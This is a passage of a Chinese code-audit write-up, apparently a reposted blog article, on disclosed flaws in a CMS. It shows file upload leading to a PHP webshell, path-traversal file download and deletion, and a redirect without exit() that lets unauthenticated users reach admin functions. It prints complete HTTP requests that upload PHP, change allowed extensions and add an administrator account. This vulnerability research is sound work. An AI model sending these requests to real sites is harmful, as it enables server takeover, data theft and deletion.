某CMSV1.0代码审计
前言
以下漏洞均已提交CNVD并被收錄
后臺任意文件上傳
在后臺安全設置處添加允許上傳類型.php
然后通過ueditor的附件上傳即可上傳php木馬文件getshell
確定位置
先隨意找到上傳點,然后抓包上傳
修改后綴名發送后得到報錯信息
{"state":"該文件擴展名不允許上傳!"}在這給大家整理了一些相關學習資料【點擊查看】
審計源碼
通過報錯信息定位到源碼在/system/basic/class/upload.class.php下
else為結果,那么在if處打上斷點
上傳php文件開始調試
發現兩個條件都不滿足
第一個條件
首先解決第一個問題,在文件29行處可以看到$extension變量值的獲取
那么全局搜索upload_extension,發現他在/system/admin/theme/default/safe.php中獲取
根據路由規則訪問
http://bosscms/admin/#safe存在允許上傳類型,那么直接添加.php然后保存,回到源碼繼續上傳.php調試
可以看出這時候$extension數組中多了一個值即.php,成功滿足第一個要求
第二個條件
要讓!type!=true,也就是讓type!=true,也就是讓type!=true,也就是讓type=null即可,也就是執行到函數的35行
這里需要滿足$ext(.php) 在 arr數組中,那么繼續看arr 數組中,那么繼續看arr數組中,那么繼續看arr數組是從
$G['extension'][$t]中獲取的這里的$t值是photo,獲取到的arr為
".jpg", ".gif", ".png", ".jpeg", ".tif", ".bmp", ".ico", ".webp"全局搜索得到system/basic/json/extension.json
在code鍵值中看到了我們想要上傳的.php
所以的我們的$t應該為code,再回到upload.class.php
t是遍歷t是遍歷t是遍歷arrary獲得的,而array是分割array是分割array是分割type獲得的,可以看到files函數調用時$type默認值是null,那么就是調用時指定code值
跟蹤函數,定位到/system/extend/ueditor/php/ueditor.class.php中第246行,調用files函數并且指定了code值
成功解決了第二個條件
測試上傳
很明顯漏洞存在于ueditor編輯器的附件上傳處
選擇PHP木馬文件
上傳成功
點擊確認后右鍵打開新鏈接獲得路徑
成功getshell
后臺任意文件下載
后臺構造url可以進行任意文件下載
http://bosscms/admin/?mold=safe&part=backup&func=download&id=../../../index.php確定位置
定位到/system/admin/safe/backup.class.php
可以看到沒有任何過濾,直接通過傳值然后下載文件,get傳參id值為文件名且可以穿越
審計源碼
全局搜索call_user_func,最后在/system/basic/class/into.class.php的load_class函數中找到可以利用的方法load_class
然后就是找調用鏈
在/admin/index.php開始
再到/system/enter.php
/system/basic/class/into.class.php
在執行load_class函數,存在func值成功調用download方法
mold和mold和mold和part用來拼接文件然后包含一次,然后new 一個part對象然后檢查是對象中是否存在part對象然后檢查是對象中是否存在part對象然后檢查是對象中是否存在func函數,存在即調用
所以可以構造url
http://bosscms/admin/?mold=safe&part=backup&func=download&id=../../../index.php在load_class方法打上斷點然后訪問
成功調用download,參數獲取正確
下載文件成功
且此CMS的數據庫信息寫在固定文件/system/basic/ini/mysql.ini.php
可以配合進行敏感信息泄露
后臺任意文件刪除
確定位置
定位到/system/admin/safe/backup.class.php
還是沒有任何過濾,get傳參id值為文件名然后調用delete進行刪除
使用之前的利用鏈,先在站點根目錄新建test.txt
然后根據規則(post:url,get:id)構造請求包
/system/admin/safe/backup.class.php文件中的delete方法
POST /admin/?mold=safe&part=backup&func=delete&id=../../../test.txt HTTP/1.1 Host: bosscms Content-Length: 135 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://bosscms Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYe2EcUgaamtd4Xnh User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://bosscms/admin/?mold=safe&part=backup&func=table Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close------WebKitFormBoundaryYe2EcUgaamtd4Xnh Content-Disposition: form-data; name="url"1 ------WebKitFormBoundaryYe2EcUgaamtd4Xnh--成功刪除文件
未授權擴大危害
未授權任意文件下載和刪除
對用戶是否登錄的驗證在system/basic/class/admin.class.php文件init函數中
當判斷未登錄時通過header進行頁面跳轉,但是沒有exit()或者die()終止程序運行
所以還是能夠得到自己的結果后才跳轉(這一點可以在BP中體現)
在未登錄狀態下
先執行刪除,成功執行得到結果
任意文件下載也是同理,在BP中即可看到跳轉前結果
未授權任意文件上傳
通過未授權將之前后臺任意文件上傳攻擊面擴大
文件上傳未授權
POST /system/extend/ueditor/php/controller.php?action=uploadfile HTTP/1.1 Host: bosscms Content-Length: 200 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://bosscms Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryvwjLJGiYAdfklq31 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close------WebKitFormBoundaryvwjLJGiYAdfklq31 Content-Disposition: form-data; name="upfile"; filename="test.php" Content-Type: image/png<?php phpinfo();?> ------WebKitFormBoundaryvwjLJGiYAdfklq31--修改上傳配置點未授權
找到可利用的函數/system/admin/safe/safe.class.php文件中的add函數,參數可控
還是之間的鏈,根據代碼構造請求,在post請求中upload_extension數組里添加.php鍵值
POST /admin/?mold=safe&part=safe&func=add HTTP/1.1 Host: bosscms Content-Length: 987 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://bosscms Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryLNKwhkxPkcJiHO5I User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://bosscms/admin/?mold=safe&part=safe&func=init&lang=1 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close------WebKitFormBoundaryLNKwhkxPkcJiHO5I Content-Disposition: form-data; name="admin_folder"admin ------WebKitFormBoundaryLNKwhkxPkcJiHO5I Content-Disposition: form-data; name="admin_login_captcha"1 ------WebKitFormBoundaryLNKwhkxPkcJiHO5I Content-Disposition: form-data; name="admin_logout_time"28888 ------WebKitFormBoundaryLNKwhkxPkcJiHO5I Content-Disposition: form-data; name="page_cache_time"0 ------WebKitFormBoundaryLNKwhkxPkcJiHO5I Content-Disposition: form-data; name="upload_rename"1 ------WebKitFormBoundaryLNKwhkxPkcJiHO5I Content-Disposition: form-data; name="upload_maxsize"2 ------WebKitFormBoundaryLNKwhkxPkcJiHO5I Content-Disposition: form-data; name="upload_extension"[".jpg",".png",".jpeg",".gif",".mp4",".mp3",".pdf",".doc",".xls",".xlsx",".bmp",".csv",".ico",".JPG",".php"] ------WebKitFormBoundaryLNKwhkxPkcJiHO5I Content-Disposition: form-data; name="ueditor_catchimage"0 ------WebKitFormBoundaryLNKwhkxPkcJiHO5I--成功未授權修改配置
修改配置之后可以未授權任意文件上傳了
成功訪問執行
未授權用戶操作
用戶操作相對于來說也算敏感操作,就順帶寫了
確定位置
定位到/system/admin/manager/manager.class.php
其中的add,edit,delete三個函數參數都是由請求獲得的(可控的)
根據規則構造請求包,以下為關鍵點
mold=manager&part=manager&func=add /system/admin/manager/manager.class.php中的add函數POST傳參 username-用戶名 password-密碼 password-確認密碼 level-權限 (2為系統管理員)請求包
POST /admin/?mold=manager&part=manager&func=add HTTP/1.1 Host: bosscms Content-Length: 1959 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://bosscms Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryB067fgIWBKtHI4Gy User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Referer: http://bosscms/admin/?mold=manager&part=manager&func=edit Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close------WebKitFormBoundaryB067fgIWBKtHI4Gy Content-Disposition: form-data; name="username"123 ------WebKitFormBoundaryB067fgIWBKtHI4Gy Content-Disposition: form-data; name="password"123 ------WebKitFormBoundaryB067fgIWBKtHI4Gy Content-Disposition: form-data; name="passwords"123 ------WebKitFormBoundaryB067fgIWBKtHI4Gy Content-Disposition: form-data; name="level"2 ------WebKitFormBoundaryB067fgIWBKtHI4Gy Content-Disposition: form-data; name="department"------WebKitFormBoundaryB067fgIWBKtHI4Gy Content-Disposition: form-data; name="open"1 ------WebKitFormBoundaryB067fgIWBKtHI4Gy Content-Disposition: form-data; name="permit1"------WebKitFormBoundaryB067fgIWBKtHI4Gy Content-Disposition: form-data; name="permit2"["content&content","items&items","banner&banner","consult&consult","feedback&feedback","search&search","seo&seo","seo&violation","seo&rewrite","anchor&anchor","link&link","plugin&plugin","plugin&market","template&template","template&market","store&store","manager&manager","safe&safe","safe&backup","site&site","site&email","site&sms","site&code","menu&menu","language&language","site&state"] ------WebKitFormBoundaryB067fgIWBKtHI4Gy Content-Disposition: form-data; name="permit3"["content&content","items&items","banner&banner","consult&consult","feedback&feedback","search&search","plugin&plugin","safe&backup","site&site","site&code","menu&menu","language&language","site&state"] ------WebKitFormBoundaryB067fgIWBKtHI4Gy Content-Disposition: form-data; name="permit4"------WebKitFormBoundaryB067fgIWBKtHI4Gy Content-Disposition: form-data; name="image"------WebKitFormBoundaryB067fgIWBKtHI4Gy Content-Disposition: form-data; name="alias"------WebKitFormBoundaryB067fgIWBKtHI4Gy Content-Disposition: form-data; name="email"------WebKitFormBoundaryB067fgIWBKtHI4Gy Content-Disposition: form-data; name="phone"------WebKitFormBoundaryB067fgIWBKtHI4Gy--成功添加管理員用戶
成功登錄,且為管理員權限
后記
都是一些簡單常見的漏洞點,主要還是一個跳轉之后未及時結束程序導致訪問控制體系崩塌,后臺變前臺
總結
以上是生活随笔為你收集整理的某CMSV1.0代码审计的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【网络安全】某安全网关前端JS分析
- 下一篇: 【安全漏洞】浅谈Bypass Waf (